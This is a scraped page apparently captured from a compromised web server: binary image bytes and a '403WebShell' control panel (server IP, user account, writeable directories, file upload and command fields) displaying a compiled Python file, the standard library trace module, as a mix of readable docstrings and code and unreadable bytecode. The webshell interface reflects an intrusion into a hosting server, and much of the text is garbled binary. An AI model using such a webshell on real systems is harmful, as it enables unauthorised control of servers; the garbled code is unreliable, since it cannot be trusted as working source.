....................................../////.===Shadow-Here===./////................................................ > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < > < ------------------------------------------------------------------------------------------------------------------- /////////////////////////////////////////////////////////////////////////////////////////////////////////////////// RIFF¤ WEBPVP8 ˜ ðÑ *ôô>‘HŸK¥¤"§£±¨àð enü¹%½_F‘åè¿2ºQú³íªú`N¿­3ÿƒügµJžaÿ¯ÿ°~¼ÎùnúîÞÖô•òíôÁÉß®Sm¥Ü/ ‡ó˜f£Ùà<˜„xëJ¢Ù€SO3x<ªÔ©4¿+ç¶A`q@Ì“Úñè™ÍÿJÌ´ª-˜ÆtÊÛL]Ïq*‘Ý”ì#ŸÌÏãY]@ê`¿ /ªfkØB4·®£ó z—Üw¥Pxù–ÞLШKÇN¾AkÙTf½è'‰g gÆv›Øuh~ a˜Z— ïj*á¥t d£“uÒ ¨`K˜¹ßþ]b>˜]_ÏÔ6W—è2r4x•íÖ…"ƒÖNîä!¦å Ú}ýxGøÌ —@ ;ÆÚŠ=ɾ1ý8lªË¥ô ^yf®Œ¢u&2©nÙÇ›ñÂñŒ³ aPo['½»øFùà­+4ê“$!lövlüÞ=;N®3ð‚õ›DÉKòÞ>ÄÍ ¥ˆuߤ#ˆ$6ù™¥îЇy’ÍB¼ çxÛ;X"WL£R÷͝*ó-¶Zu}º.s¸sšXqù–DþÿvªhüïwyŸ ¯é³lÀ:KCûÄ£Ëá\…­ ~—ýóî ¼ûûÜTÓüÇy…ŽÆvc»¾×U ñ¸žþоP÷¦ó:Ò¨¨5;Ð#&#ÖúñläÿÁœ GxÉ­/ñ‡áQðìYÉtÒw޼GÔ´zàÒò ð*ëzƒ•4~H]Ø‹f ñÓÈñ`NåWçs'ÆÏW^ø¹!XžµmQ5ÃËoLœÎ: ÞËÍ¥J ù…î èo£ßPÎñ¶ž8.Œ]ʵ~5›ÙË-ù*8ÙÖß±~ ©¹rÓê‚j¶d¸{^Q'˜±Crß ÚH—#¥¥QlÀ×ëã‡DÜ«èî þ&Çæžî;ŽÏºò6ÒLÃXy&ZŒ'j‚¢Ù€IßÚù+–MGi‰*jE€‘JcÜ ÓÌ EÏÚj]o˜ Þr <¾U ûŪæÍ/šÝH¥˜b”¼ ÁñßX GP›ï2›4WŠÏà×£…íÓk†¦H·ÅíMh–*nó÷à]ÁjCº€b7<ب‹¨5車bp2:Á[UªM„QŒçiNMa#<5›áËó¸HýÊ"…×Éw¹¦ì2º–x<›»a±¸3Weü®FÝ⑱ö–î–³|LPÈ~çð~Çå‡|º kD¢µÏàÆAI %1À% ¹Ò – ”ϝS¦‰4&¶£°à Öý”û_Ò Áw°A«Å€?mÇÛgHÉ/8)á¾ÛìáöŽP í¨PŸNÙµº¦‡§Ùš"ÿ«>+ªÕ`Ê÷‡‚ß Õû˜þãÇ-PÍ.¾XV‘€ dÜ"þ4¹ ±Oú‘©t¥¦FªÄÃÄ•b‚znýu½—#cDs˜ÃiÑOˆñ×QO=*IAÊ,¶ŽZƒ;‡wøXè%EÐk:F±Ú” .Ѽ+Áu&Ç`."pÈÉw o&¿dE6‘’EqTuK@Ì¥ã™À(Êk(h‰,H}RÀIXÛš3µ1©_OqÚÒJAñ$ÊÙÜ;D3çŒ[þùœh¬Ã³™ö6ç†NY".Ú‰ï[ªŸŒ '²Ð öø_¨ÂÉ9ué¶³ÒŠõTàîMØ#û¯gN‡bÙ놚X„ö …ÉeüÌ^J ‹€.œ$Æ)βÄeæW#óüßĺŸ€ ÀzwV 9oä»f4V*uB «Ë†¹ì¯žR霓æHXa=&“I4K;¯ç‹h×·"UŠ~<•╪Vêª&ÍSÃÆÅ?ÔqÎ*mTM ˜›µwêd#[C¡©§‘D<©àb†–ÁœøvH/,í:¯( ²£|4-„Æövv„Yͼ™^Á$ˆ„¢Û[6yB.åH*V¨æ?$=˜Ñ€•ñ·­(VlŸ‘ nÀt8W÷´Bûba?q9ú¶Xƒl«ÿ\ù¶’þòUÐj/õ¢Ìµ³g$ƒÎR!¸»|Oߍë’BhîÚÑ¢ñåŒJ„®„£2Ð3•ô02Nt…!£Í]Ïc½Qÿ?ˆ<&ÃA¾Ú,JˆijÌ#5yz„‰Î|ÊŽ5QÏ:‹ÐaóVÔxW—CpeÏzÐïíçôÿÅ_[hãsÐ_/ŽTÝ?BîˆííV$<¿i>²F¬_Eß¿ †bÊŒº­ÿ®Z H“C}”¬,Mp ý/Bá£w>˜YV°aƒúh+cŠ- r/[%|üUMHäQ°X»|û/@|°¥Ð !BÔ Ç¢Ä©š+Õì D«7ìN¶ŽðÔ " ƶ’ÖçtA‰Û×}{tþz­¾GÍ›k¹OEJR$ Â׃ «ëÁ"oÉôž$oUK(Ä)Ãz³Ê-‹êN[Ò3Œñbï8P 4ƒ×q¢bo|?<ÛX¬òÄͰL–±›(™ûG?ýË©ÚÄ–ÂDØÐ_Ç¡ô ¾–ÄÏø ×e8Ë©$ÄF¹Å‹ì[©óìl:F¾f´‹‹Xì²ï®\¬ôùƒ ÿat¥óèÒùHß0äe‚;ü×h:ÆWðHž=Ã8骣"kœ'Y?³}Tûè€>?0l›e1Lòñ„aæKÆw…hÖŠùW…ÈÆÄ0ši·›[pcwËþñiêíY/~-Á5˜!¿†A›™Mÿþ(±“t@â“ö2­´TG5yé]çå僳 .·ÍïçÝ7UÚ±Ð/Nè»,_Ï ùdj7\ï Wì4›„»c¸àešg#ÒÊ⥭áØo5‘?ÌdÝô¯ ¹kzsƒ=´#ëÉK›Ø´±-¥eW?‡çßtòTã…$Ý+qÿ±ƒ÷_3Ô¥í÷:æ–ž<·Ö‡‰Å¢ š‡%Ô—utÌÈìðžgÖÀz²À—ï÷Óîäõ{K'´È÷³yaÏÁjƒô}ž§®æÊydÕÈë5¯èˆõvÕ©ã*çD„ “z„Ó‡^^xÂ3M§A´JG‚öï 3W'ˆ.OvXè¡ÊÕª?5º7†˜(˜Ç¶#çê’¶!ÌdZK§æ 0fãaN]òY³RV ™î$®K2R¨`W!1Ôó\;Ý ýB%qæK•&ÓÈe9È0êI±žeŸß -ú@žQr¦ ö4»M¼Áè¹µmw 9 EÆE_°2ó„ŸXKWÁ×Hóì^´²GѝF©óäR†¦‰ç"V»eØ<3ùd3ÿÚ¤Žú“Gi" —‘_ÙËÎ~Üö¯¥½Î»üŸEÚŽåmÞþí ;ÞólËΦMzA"Âf(´òá;Éï(/7½ûñÌ­cïÕçлþÝz¾-ÍvÑ“pH­–ðÓj$¸Äû¤‚‘ãUBË-n“2åPkS5&‹Â|+g^œ®Ì͆d!OïäîU«c;{Û!ÅŽ«ëZ9Ókóˆ]¯ƒ›né `ÇÒ+tÆš (ØKá¾—=3œ®•vuMñg²\ï Ec€ 05±d™‡×iÇ×›UúvÌ¢£Èþ¡ÕØô¶ßÎA"ß±#Ö²ˆÊŸ¦*Ä~ij|àø.-¼'»Ú¥£h ofº¦‡VsR=N½„Î v˜Z*SÌ{=jÑB‹tê…;’HžH¯8–îDù8ñ¢|Q•bÛçš–‹m³“ê¨ åÏ^m¬Žãþ©ïêO‡½6] µÆ„Ooòü ²x}N¦Ë3ïé¿»€›HA˜m%çÞ/¿í7Fø“‹léUk)É°Œµ8Q8›:ÀŠeT*šõ~ôڝG6 ¢}`ùH­–”¡k ‰P1>š†®9z11!X wKfmÁ¦xÑ,N1Q”–æB¶M…ÒÃv6SMˆhU¬ÊPŽï‘öj=·CŒ¯u¹ƒVIЃsx4’ömÛýcå¡¶7ßŠß 57^\wÒÐÆ k§h,Œý î«q^R½3]J¸ÇðN ‚çU¬ôº^Áì} ³f©Õœ§ˆã:FÄÈ‚é(€™?àýÓüè1Gô£¼éj‚OÅñ  #>×—ßtà 0G¥Åa뀐kßhc™À_ÉñÞ#±)GD" YîäË-ÿÙ̪ ¹™a¯´¢E\ÝÒö‚;™„ë]_ p8‰o¡ñ+^÷ 3‘'dT4œŽ ðVë½° :¬víÑ«£tßÚS-3¶“þ2 †üüʨòrš¹M{É_¤`Û¨0ìjœøJ‡:÷ÃáZ˜†@GP&œÑDGÏs¡þ¦þDGú‘1Yá9Ôþ¼ ûø…§÷8&–ÜÑnÄ_m®^üÆ`;ÉVÁJ£?â€-ßê}suÍ2sõA NÌúA磸‘îÿÚ»ƒìö·á¿±tÑÐ"Tÿü˜[@/äj¬€uüªìù¥Ý˜á8Ý´sõj 8@rˆð äþZÇD®ÿUÏ2ùôõrBzÆÏÞž>Ì™xœ“ wiÎ×7_… ¸ \#€MɁV¶¥üÕÿPÔ9Z‡ø§É8#H:ƒ5ÀÝå9ÍIŒ5åKÙŠ÷qÄ>1AÈøžj"µÂд/ªnÀ qªã}"iŸBå˜ÓÛŽ¦…&ݧ;G@—³b¯“•"´4í¨ôM¨åñC‹ïùÉó¯ÓsSH2Ý@ßáM‡ˆKÀªÛUeø/4\gnm¥‹ŸŒ qÄ b9ÞwÒNÏ_4Ég³ú=܆‚´ •â¥õeíþkjz>éÚyU«Íӝ݃6"8/ø{=Ô¢»G¥ äUw°W«,ô—¿ãㆅү¢³xŠUû™yŒ (øSópÐ 9\åTâ»—*oG$/×ÍT†Y¿1¤Þ¢_‡ ¼ „±ÍçèSaÓ 3ÛMÁBkxs‰’R/¡¤ˆÙçª(*õ„üXÌ´ƒ E§´¬EF"Ù”R/ÐNyÆÂ^°?™6¡œïJ·±$§?º>ÖüœcNÌù¯G ‹ñ2ЁBB„^·úìaz¨k:#¨Æ¨8LÎõލ£^§S&cŒÐU€ü(‡F±Š¼&P>8ÙÁ ‰ p5?0ÊÆƒZl¸aô š¼¡}gÿ¶zÆC²¹¬ÎÖG*HB¡O<º2#ñŒAƒ–¡B˜´É$¥›É:FÀÔx¾u?XÜÏÓvN©RS{2ʈãk9rmP¼Qq̳ è¼ÐFׄ^¡Öì fE“F4A…!ì/…¦Lƒ… … $%´¾yã@CI¬ á—3PþBÏNÿ<ý°4Ü ËÃ#ØÍ~âW«rEñw‹eùMMHß²`¬Öó½íf³:‹k˜¯÷}Z!ã¿<¥,\#öµÀ¯aÒNÆIé,Ћ–lŽ#Àæ9ÀÒS·I’½-Ïp Äz¤Š Â* ­íÄ9­< h>׍3ZkËU¹§˜ŒŠ±f­’¤º³Q ÏB?‹#µíÃ¥®@(Gs«†vI¥Mµ‹Á©e~2ú³ÁP4ìÕi‚²Ê^ö@-DþÓàlÜOÍ]n"µã:žpsŽ¢:! Aõ.ç~ÓBûH÷JCÌ]õVƒd «ú´QÙEA–¯¯Œ!.ˆˆëQ±ù œ·Ì!Õâ )ùL„ÅÀlÚè5@B…o´Æ¸XÓ&Û…O«˜”_#‡ƒ„ûÈt!¤ÁÏ›ÎÝŠ?c9 â\>lÓÁVÄÑ™£eØY]:fÝ–—ù+p{™ðè û³”g±OƒÚSù£áÁÊ„ä,ï7š²G ÕÌBk)~ÑiCµ|h#u¤¶îK¨² #²vݯGãeÖ϶ú…¾múÀ¶þÔñ‚Š9'^($¤§ò “š½{éúp÷J›ušS¹áªCÂubÃH9™D™/ZöØÁ‡¦ÝÙŸ·kð*_”.C‹{áXó€‡c¡c€§/šò/&éš÷,àéJþ‰X›fµ“C¨œ®r¬"kL‰Â_q…Z–.ÉL~O µ›zn‚¹À¦Öª7\àHµšÖ %»ÇníV[¥*Õ;ƒ#½¾HK-ÖIÊdÏEÚ#=o÷Óò³´Š: Ç?{¾+9›–‘OEáU·S€˜j"ÄaÜ ŒÛWt› á–c#a»pÔZÞdŽtWê=9éöÊ¢µ~ ë ;Öe‡Œ®:bî3±ýê¢wà¼îpêñ¹¾4 zc¾ðÖÿzdêŒÑÒŝÀ‰s6¤í³ÎÙB¿OZ”+F¤á‡3@Ñëäg©·Ž ˆèª<ù@É{&S„œÕúÀA)‰h:YÀ5^ÂÓŒ°õäU\ ùËÍû#²?Xe¬tu‰^zÒÔãë¼ÛWtEtû …‚g¶Úüâî*moGè¨7%u!]PhÏd™Ý%Îx: VÒ¦ôÊD3ÀŽKÛËãvÆî…N¯ä>Eró–ð`5 Œ%u5XkñÌ*NU%¶áœÊ:Qÿú»“úzyÏ6å-၇¾ ´ ÒÊ]y žO‘w2Äøæ…H’²f±ÎÇ.ª|¥'gîV•Ü .̘¯€šòü¤U~Ù†*¢!?ò wý,}´°ÔÞnïoKq5µb!áÓ3"vAßH¡³¡·G(ÐÎ0Îò¼MG!/ài®@—¬04*`…«é8ªøøló“ˆÊ”èù¤…ßÊoÿé'ËuÌÖ5×È¡§ˆˆfŽë9}hìâ_!!¯  B&Ëö¶‰ÀAÙNVŸ Wh›¸®XÑJì¨ú“¿÷3uj²˜¨ÍÎìë±aúŠÝå¯ð*Ó¨ôJ“yºØ)m°WýOè68†ŸÏ2—‰Ïüꪫٚ¥‹l1 ø ÏÄFjêµvÌbü¦èÝx:X±¢H=MÐß—,ˆÉÇ´(9ú¾^ÅÚ4¿m‡$âX‘å%(AlZo@½¨UOÌÕ”1ø¸jÎÀÃÃ_ µ‘Ü.œº¦Ut: Æï’!=¯uwû#,“pþÇúŒø(é@?³ü¥‘Mo §—s@Œ#)§ŒùkL}NOÆêA›¸~r½¼ÙA—HJ«eˆÖ´*¡ÓpÌŸö.m<-"³ûÈ$¬_6­åf£ïÚâj1y§ÕJ½@dÞÁr&Í\Z%D£Íñ·AZ Û³øüd/ªAi†/Й~  ‡âĮҮÏh§°b—›Û«mJžòG'[ÈYýŒ¦9psl ýÁ ®±f¦x,‰½tN ‚Xª9 ÙÖH.«Lo0×?͹m¡å†Ѽ+›2ƒF ±Ê8 7Hցϓ²Æ–m9…òŸï]Â1äN†VLâCˆU .ÿ‰Ts +ÅÎx(%¦u]6AF Š ØF鈄‘ |¢¶c±soŒ/t[a¾–û:s·`i햍ê›ËchÈ…8ßÀUÜewŒðNOƒõD%q#éû\9¤x¹&UE×G¥ Í—™$ð E6-‡¼!ýpãÔM˜ Âsìe¯ñµK¢Ç¡ùôléœ4Ö£”À Š®Ðc ^¨À}ÙËŸ§›ºê{ÊuÉC ×Sr€¤’fÉ*j!úÓ’Gsùìoîßîn%ò· àc Wp÷$¨˜)û»H ×8ŽÒ€Zj¤3ÀÙºY'Ql¦py{-6íÔCeiØp‘‡XÊîÆUߢ܂ž£Xé¼Y8þ©ëgñß}é.ÎógÒ„ÃØËø¯»™§Xýy M%@NŠ À(~áÐvu7&•,Ù˜ó€uP‡^^®=_E„jt’ 403WebShell
403Webshell
Server IP : 198.54.126.4  /  Your IP : 216.73.216.163
Web Server : Apache
System : Linux host55.registrar-servers.com 4.18.0-513.18.1.lve.2.el8.x86_64 #1 SMP Sat Mar 30 15:36:11 UTC 2024 x86_64
User : aeaw ( 7508)
PHP Version : 8.1.33
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /opt/alt/python313/lib64/python3.13/__pycache__/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /opt/alt/python313/lib64/python3.13/__pycache__/trace.cpython-313.pyc
�

rdYh t���SrSS/rSSKrSSKrSSKrSSKrSSKrSSKrSSKrSSK	r	SSK
r
SSKrSSKrSSK
Jr SSKrSr"SS5rS	rS
r"SS5rSrS
rSSjrSr"SS5rSr\S:Xa\"5 gg)a�program/module to trace Python program or function execution

Sample use, command line:
  trace.py -c -f counts --ignore-dir '$prefix' spam.py eggs
  trace.py -t --ignore-dir '$prefix' spam.py eggs
  trace.py --trackcalls spam.py eggs

Sample use, programmatically
  import sys

  # create a Trace object, telling it what to ignore, and whether to
  # do tracing or line-counting or both.
  tracer = trace.Trace(ignoredirs=[sys.base_prefix, sys.base_exec_prefix,],
                       trace=0, count=1)
  # run the new command using the given tracer
  tracer.run('main()')
  # make a report, placing output in /tmp
  r = tracer.results()
  r.write_results(show_missing=True, coverdir="/tmp")
�Trace�CoverageResults�N)�	monotonicz#pragma NO COVERc�$�\rSrSrSSjrSrSrg)�_Ignore�ENc���U(d
[5O
[U5UlU(d/O/UVs/sH"n[RR	U5PM$ snUlSS0Ulgs snf)Nz<string>�)�set�_mods�os�path�normpath�_dirs�_ignore)�self�modules�dirs�ds    �,/opt/alt/python313/lib64/python3.13/trace.py�__init__�_Ignore.__init__FsW��")�S�U�s�7�|��
�#�R�37�*9�37�a�+-�'�'�*:�*:�1�*=�37�*9��
�#�Q�(����*9s�)A*c���X R;aURU$X R;aSURU'gURH-nURUS-5(dMSURU' g UcSURU'gURH;nURU[R
-5(dM,SURU' g SURU'g)Nr
�.r)rr�
startswithrr
�sep)r�filename�
modulename�modrs     r�names�
_Ignore.namesLs������%��<�<�
�+�+����#�'(�D�L�L��$���:�:�C��$�$�S�3�Y�/�/�+,����Z�(��
���'(�D�L�L��$�����A��"�"�1�r�v�v�:�.�.�+,����Z�(���$%����Z� ��)rrr�NN)�__name__�
__module__�__qualname__�__firstlineno__rr �__static_attributes__�r"rrrEs��)�)r"rc��[RRU5n[RRU5up#U$)�,Return a plausible module name for the path.)r
r�basename�splitext)r�baser�exts    r�_modnamer0ws3���7�7���D�!�D��G�G�$�$�T�*�M�H��Or"c���[RRU5nSn[RHxn[RRU5nUR	U5(dM:U[U5[R:XdM\[U5[U5:�dMvUnMz U(aU[U5S-SnOUn[RRU5upTUR[RS5n[R(a UR[RS5n[RRU5upgURS5$)r+�r
Nr)r
r�normcase�sysr�lenr�
splitdrive�replace�altsepr-�lstrip)r�comparepath�longest�dirr.�driverr/s        r�_fullmodnamer>~s���'�'�"�"�4�(�K��G��x�x���g�g���s�#���!�!�#�&�&�;�s�3�x�+@�B�F�F�+J��3�x�#�g�,�&���	���C��L�1�$�%�&�����'�'�$�$�T�*�K�E��<�<�����$�D�	�y�y��|�|�B�I�I�s�+���G�G�$�$�T�*�M�H��?�?�3��r"c�J�\rSrSrSSjrSrSrSSS.SjjrS
S	jrS
r	g)r�Nc��XlURc0UlURR5UlX lURc0UlURR5UlX@lURc0UlURR5UlX0lXPlUR
(aY[UR
S5n[R"U5upnSSS5 URURXUS95 gg!,(df   N/=f![[[4a4n[SUR
<SU<3[ R"S9 SnAgSnAff=f)N�rb)�callerszSkipping counts file �: ��file)�counts�copy�counter�calledfuncsrC�infile�outfile�open�pickle�load�update�	__class__�OSError�EOFError�
ValueError�printr4�stderr)rrGrJrKrCrL�f�errs        rr�CoverageResults.__init__�s$�����;�;���D�K��{�{�'�'�)���&�����#�!�D���+�+�0�0�2������<�<���D�L��|�|�(�(�*��������;�;�
N��$�+�+�t�,��39�;�;�q�>�0�F��-����D�N�N�6��N�P�Q��-�,���X�z�2�
N��)-���c�;�BE�*�*�N��
N�s0�
D4� D#�:'D4�#
D1�-D4�4E=�	*E8�8E=c�T�URS5=(a URS5$)zOReturn True if the filename does not refer to a file
we want to have reported.
�<�>)r�endswith)rrs  r�is_ignored_filename�#CoverageResults.is_ignored_filename�s%���"�"�3�'�B�H�,=�,=�c�,B�Br"c��URnURnURnURnURnURnUHnURUS5XX-X('M UHnSX8'M	 UHnSXH'M	 g)z.Merge in the data from another CoverageResultsrr
N)rGrJrC�get)	r�otherrGrJrC�other_counts�other_calledfuncs�
other_callers�keys	         rrP�CoverageResults.update�s��������&�&���,�,���|�|��!�-�-���
�
�
��C� �*�*�S�!�,�|�/@�@�F�K� �%�C� �K��%�!�C��G�L�!r"F)�ignore_missing_filesc��UR(aM[5 [S5 URn[U5Hupgn[SU<SU<SU<35 M UR(a�[5 [S5 S=p�[UR5H_uup�n
up�nX�:wa[5 [SUS5 Un	Sn
X�:waX�:wa[SU5 Un
[S	U<S
U
<SU<S
U<35 Ma 0nURH1unnURU05=nUU'URUU4UU'M3 0nUR
5GH�unnURU5(aMURS5(aUS
SnU(a&[RRU5(dMgUcH[RR[RRU55n[U5nO"Un[R"USS9 [!U5nU(a[#U5nO0n[$R&"U5n[RR)UUS-5n[+US5n[,R."UR05unnS
S
S
5 UR3UUUUW5unnU(dGM|U(dGM�[5SU-U-5nUUXv4UU'GM� U(a>U(a7[S5 [U5Hn UU unnpv[SUU -5 M UR6(aZ[+UR6S5n![8R:"URURUR4U!S5 S
S
S
5 g
g
!,(df   GN
=f!,(df   g
=f![<a%n"[SU"-[>R@S9 S
n"A"g
S
n"A"ff=f)a�
Write the coverage results.

:param show_missing: Show lines that had no hits.
:param summary: Include coverage summary per module.
:param coverdir: If None, the results of each module are placed in its
                 directory, otherwise it is included in the directory
                 specified.
:param ignore_missing_files: If True, counts for files that no longer
                 exist are silently ignored. Otherwise, a missing file
                 will raise a FileNotFoundError.
zfunctions called:z
filename: z, modulename: �, funcname: zcalling relationships:r2z***z  -->z    rz -> z.pycN���T)�exist_okz.coverrB�dzlines   cov%   module   (path)z%5d   %3d%%   %s   (%s)�wbr
z"Can't save counts files because %srE)!rJrU�sortedrCrGra�itemsr^r]r
r�isfile�dirname�abspathr0�makedirsr>�_find_executable_linenos�	linecache�getlines�joinrM�tokenize�detect_encoding�readline�write_results_file�intrLrN�dumprRr4rV)#r�show_missing�summary�coverdirrh�callsrr�funcname�lastfile�	lastcfile�pfile�pmod�pfunc�cfile�cmod�cfunc�per_file�lineno�	lines_hit�sums�countr<�lnotab�source�	coverpath�fp�encoding�_�n_hits�n_lines�percent�mrWrXs#                                   r�
write_results�CoverageResults.write_results�sZ������G��%�&��$�$�E�28��-�.��h��"�J��:�<�3@��<�<��G��*�+�#%�%�H��d�l�l�+�=�%�%�u�';��U��$��G��%���.�$�H� "�I��>�i�&8��'�5�)� %�I��d�E�4��G�H�,��� $����H�f�-5�\�\�(�B�-G�G�I���*� $���X�v�,>� ?�I�f��!,�
��'�~�~�/�O�H�e��'�'��1�1��� � ��(�(�#�C�R�=��#�B�G�G�N�N�8�,D�,D�����g�g�o�o�b�g�g�o�o�h�&?�@��%�h�/�
������C�$�/�)�(�3�
��1�(�;�����'�'��1�F������S�*�x�*?�@�I��h��%��&�6�6�r�{�{�C���!�&�"�5�5�i��6<�e�X�O�O�F�G��w�7�7��c�F�l�W�4�5��#*�G�Z�#I��Z� �A 0�D�t��2�3��D�\��9=�a��6���*��/�$�q�'�9�:�"��<�<�
S��$�,�,��-���K�K����d�.>�.>���� M� !�1�&�.�-��&�%��".�-���
S��:�S�@�s�z�z�R��
S�sB�$N*�O
�&:N<� O
�*
N9	�<
O
�O
�
O
�
O<�O7�7O<c��[USUS9nS	nS	n	U [US
5H�up�X�;a!UR
SXJ-5 U	S
-
n	US
-
nO7X�;a![U;aUR
S5 US
-
nOUR
S
5 UR
URS55 M� SSS5 X�4$![a+n[SU<SU<S3[RS9 SnAgSnAff=f!,(df   X�4$=f)z'Return a coverage results file in path.�w�r�ztrace: Could not open z for writing: z - skippingrEN)rrrr
z%5d: z>>>>>> z       �)	rMrRrUr4rV�	enumerate�write�PRAGMA_NOCOVER�
expandtabs)rr�linesr�r�r�rLrXr�r�r��lines            rr|�"CoverageResults.write_results_file.s���	��4��x�8�G�����
� )�%�� 3����&��M�M�'�I�,=�"=�>��a�K�F��q�L�G��%�n��.D��M�M�)�,��q�L�G��M�M�)�,��
�
�d�o�o�a�0�1�!4��"����1�	��26��=�DG�J�J�
P���	���W�"���s#�B1�BC)�1
C&�;!C!�!C&�)
C9)rJrCrIrGrKrL)NNNNN)TFN�N)
r$r%r&r'rr^rPr�r|r(r)r"rrr�s0��=A�'+�N�4C��$_S�+0�_S�Br"c�^�0n[R"U5Hup4XA;dMSX$'M U$)z:Return dict where keys are lines in the line number table.r
)�dis�findlinestarts)�code�strs�linenosr�r�s     r�_find_lines_from_coder�Ns2���G��'�'��-�	�����G�O�.��Nr"c��[X5nURH:n[R"U5(dM UR	[X155 M< U$)z<Return lineno dict for all code objects reachable from code.)r��	co_consts�inspect�iscoderP�_find_lines)r�r�r��cs    rr�r�XsE��$�D�/�G��^�^���>�>�!����N�N�;�q�/�0���Nr"c�b�0n[Rn[XS9n[R"UR
5nUHRupgp�n
U[R:Xa5U[R:Xa!Uup�U	up�[X�S-5HnSX/'M	 UnMT SSS5 U$!,(df   U$=f)z�Return a dict of possible docstring positions.

The dict maps line numbers to strings.  There is an entry for
line that contains only a string or a part of a triple-quoted
string.
r�r
N)�token�INDENTrMry�generate_tokensr{�STRING�range)rr�r�
prev_ttyperW�tok�ttype�tstr�start�endr��sline�scol�eline�ecol�is                r�
_find_stringsr�ds���	�A����J�	
�h�	*�a��&�&�q�z�z�2��-0�)�E��T�����$�����-�"'�K�E�"%�K�E�"�5�!�)�4�� ���5��J�.1�
+�
�H�
+�	*�
�H�s�A9B�
B.c�V�[R"U5nUR5nURnSSS5 [WUS5n[UW5n[XV5$!,(df   N2=f![a,n[SU<SU<3[RS9 0sSnA$SnAff=f)zAReturn dict where keys are line numbers in the line number table.NzNot printing coverage data for rDrE�exec)ryrM�readr�rRrUr4rV�compiler�r�)rrW�progr�rXr�r�s       rruru{s����
�]�]�8�
$���6�6�8�D��z�z�H�%��4��6�*�D���8�,�D��t�"�"�%�
$����
�!)�3�0�7:�z�z�	C��	���s9�A2�A!�A2�!
A/�+A2�/A2�2
B(�<!B#�B(�#B(c�j�\rSrSrSSjrSrSSjrSrSrSr	S	r
S
rSrSr
S
rSrSrg)ri�Nc
�R�XplX�l[XV5Ul0Ul0UlSUlX l0Ul0Ul	0Ul
SUlU	(a[5UlU(aURUlgU(aURUlgU(a*U(a#UR UlUR"UlgU(a#UR UlUR&UlgU(a#UR UlUR(UlgSUlg)a�
@param count true iff it should count number of times each
             line is executed
@param trace true iff it should print out each line that is
             being counted
@param countfuncs true iff it should just output a list of
             (filename, modulename, funcname,) for functions
             that were called at least once;  This overrides
             `count' and `trace'
@param ignoremods a list of the names of modules to ignore
@param ignoredirs a list of the names of directories to ignore
             all of the (recursive) contents of
@param infile file from which to read stored counts to be
             added into the results
@param outfile file in which to write the results
@param timing true iff timing information be displayed
rNr
)rKrLr�ignorerG�pathtobasename�	donothing�trace�_calledfuncs�_callers�
_caller_cache�
start_time�_time�globaltrace_trackcallers�globaltrace�globaltrace_countfuncs�globaltrace_lt�localtrace_trace_and_count�
localtrace�localtrace_trace�localtrace_count)
rr�r��
countfuncs�countcallers�
ignoremods�
ignoredirsrKrL�timings
          rr�Trace.__init__�s���(�����j�5������ �������
������
��������#�g�D�O��#�<�<�D��
�#�:�:�D��
�u�#�2�2�D��"�=�=�D�O�
�#�2�2�D��"�3�3�D�O�
�#�2�2�D��"�3�3�D�O��D�Nr"c�H�SSKnURnURXU5 g)Nr)�__main__�__dict__�runctx)r�cmdr��dicts    r�run�	Trace.run�s���� � �����C�t�$r"c���Uc0nUc0nUR(d@[R"UR5 [R"UR5 [XU5 UR(d-[R"S5 [R"S5 gg!UR(d-[R"S5 [R"S5 ff=fr�)r��	threading�settracer�r4r�)rr��globals�localss    rr��Trace.runctx�s����?�b�G��>�B�6��~�~����t�/�/�0��L�L��)�)�*�	)���v�&��>�>����T�"��"�"�4�(�"��4�>�>����T�"��"�"�4�(�"�s
�B(�(AC(c�&�SnUR(d [R"UR5 U"U0UD6nUR(d[R"S5 U$!UR(d[R"S5 ff=fr�)r�r4r�r�)r�func�args�kw�results     r�runfunc�
Trace.runfunc�sh�����~�~��L�L��)�)�*�	#��4�&�2�&�F��>�>����T�"��
���>�>����T�"�"�s�A&�&*Bc�F�URnURnU(a[U5nOSnURnSnX R;a!URUbURUnGOSURU'[
R"U5Vs/sH"n[R"U5(dM UPM$ nn[U5S:Xa�[
R"US5V	s/sHn	[U	[5(dMU	PM n
n	[U
5S:Xah[
R"U
S5Vs/sHn[US5(dMUPM nn[U5S:XaUSRnX`RU'Ub	U<SU<3nX4U4$s snfs sn	fs snf)Nr
r�	__bases__r)�f_code�co_filenamer0�co_namer��gc�
get_referrersr��
isfunctionr5�
isinstancer��hasattrr$)
r�framer�rrr��clsnamerW�funcsr�dictsr��classess
             r�file_module_function_of�Trace.file_module_function_of�s����|�|���#�#���!�(�+�J��J��<�<�����%�%�%��!�!�$�'�3��,�,�T�2���'+�D���t�$�!#� 0� 0�� 6�3� 6�1�#�.�.�q�1�� 6�E�3�
�5�z�Q��$&�$4�$4�U�1�X�$>�5�$>�q� *�1�d� 3��$>��5��u�:��?�*,�*:�*:�5��8�*D�?�*D�Q�&-�a��&=� !�*D�G�?��7�|�q�(�")�!�*�"5�"5��
4;�*�*�4�0���")�8�4�H��X�-�-��-3��5��?s$�F�6F�(F�F�7F�Fc��US:Xa=URU5nURUR5nSURXT4'gg)z[Handler for call events.

Adds information about who called who to the self._callers dict.
�callr
N)r
�f_backr�)rr�why�arg�	this_func�parent_funcs      rr��Trace.globaltrace_trackcallerssE��
�&�=��4�4�U�;�I��6�6�u�|�|�D�K�67�D�M�M�;�2�3�	r"c�R�US:Xa!URU5nSURU'gg)z_Handler for call events.

Adds (filename, modulename, funcname) to the self._calledfuncs dict.
r
r
N)r
r�)rrrrrs     rr��Trace.globaltrace_countfuncs
s0��
�&�=��4�4�U�;�I�+,�D���i�(�r"c�H�US:Xa�URnURRSS5nU(al[U5nUb]URRXV5nU(d:UR(a[SU<SUR<35 UR$gggg)zzHandler for call events.

If the code block being entered is to be ignored, returns `None',
else returns self.localtrace.
r
�__file__Nz --- modulename: rj)
r��	f_globalsrar0r�r r�rUr�r�)rrrrr�rr�	ignore_its        rr��Trace.globaltrace_lts����&�=��<�<�D����*�*�:�t�<�H��&�h�/�
��)� $��� 1� 1�(� G�I�$��:�:�!�&0�$�,�,�$@�B�#���.�	%�*��r"c��US:Xa�URRnURnXE4nURR	US5S-URU'UR
(a"[
S[5UR
-
-SS9 [RRU5n[R"XE5n[
SXu4-SS9 U(a[
S	USS9 UR$[
5 UR$)
Nr�rr
